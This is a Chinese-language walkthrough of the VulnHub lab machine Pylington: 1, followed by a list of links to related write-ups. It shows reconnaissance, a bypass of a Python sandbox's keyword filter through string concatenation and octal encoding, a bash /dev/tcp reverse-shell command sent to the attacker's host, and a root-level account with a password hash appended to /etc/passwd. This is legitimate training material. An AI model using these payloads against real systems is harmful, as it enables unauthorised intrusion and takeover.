准备:

攻击机:虚拟机kali、本机win10。

靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。

知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。

3.web信息

访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。

访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。

访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。

二:获取shell

利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。

测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。

开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。

#原来语句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1') #绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')" #执行语句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")

或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。

oct_result= ''
strings = 'import os'
for string in strings:
one_char = ord(string)
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os结果
\151\155\160\157\162\164\40\157\163
#os.system('id')结果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51

三:提权

1.提权至py

尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。

使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。

进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。

查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。

执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。

利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。

2.提权至root

尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。

那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。

进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。

我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。

尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。

获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之PYLINGTON: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Unity 简易聊天室(基于TCP)(2)

    客户端用Unity开发,主要就是搭建一下聊天室的UI界面:输入框,聊天内容显示框,发送按钮 灰色背景的就是Message,也就是聊天内容的显示框,是一个Text类型,这里创建UI方面就不多讲了 在Ca ...

  2. Windows server 2016 域服务1之创建域

    谁知道以后会不会用到呢,总不能现学不是,写下来以后也许用的上. 本文为自己实验操作,工作环境是否与之相同本人并不清楚,步骤中详略参半,原理不会在这里说,因为我也不清楚. 1.首先安装域服务,选择添加角 ...

  3. 在Unity3D中开发的Rim Shader

    Swordmaster Rim Shaders 特点 本资源包共包含两种Rim效果的Shader (1)Rim Bumped Specular. (2)Rim StandardPBR(Metallic ...

  4. textarea兼容问题

    一.IOS 中不允许输入 <textarea contenteditable="true"></textarea> textarea { -webkit-u ...

  5. 基础vue的一些知识补充

    一.:disabled 该属性能接受布尔值,可以用于元素的使用.当值为true时,该元素将无法被使用,如button的disabled属性被设置为true后,将无法被点击,input的disabled ...

  6. 使用LitJson输出格式化json文件到本地

    百度上搜了半天,竟然没有C#使用LitJson格式化输出的例子,全都是Newtonsoft.Json的,最后在litjson的官网找到了方法. 给大家分享一下: https://litjson.net ...

  7. FPGA串口 波特率的计数器值

    开发板时钟为50Mhz, t为 20ns; xxx波特率时指每秒传xxx bit字节数据.也就是T=1/xxx; 再用T/t就可以得出波特率的计数周期了: 例如9600:T=1/96000=1.041 ...

  8. 【LeetCode】——分割回文串II

    继续与动态规划斗智斗勇... 132. 分割回文串 II - 力扣(LeetCode) (leetcode-cn.com) 分析:记f[i]表示将字符串s[0:i]分割的最小次数.我们需要将列举出在[ ...

  9. 重写mybatis-plus的saveUpdate方法

    重写mybatis-plus的saveUpdate方法 1.问题出现 同步外部数据的时候,如果需要同步逻辑删除的数据,mybatis-plus的saveOrUpdate||saveOrUpdateBa ...

  10. CF527D 题解

    题意:数轴上有 \(n\) 个点,第 \(i\) 个点的坐标为 \(x_i\),权值为 \(w_i\).两个点 \(i,j\) 之间存在一条边当且仅当 \(abs(x_i-x_j)\geq w_i+w ...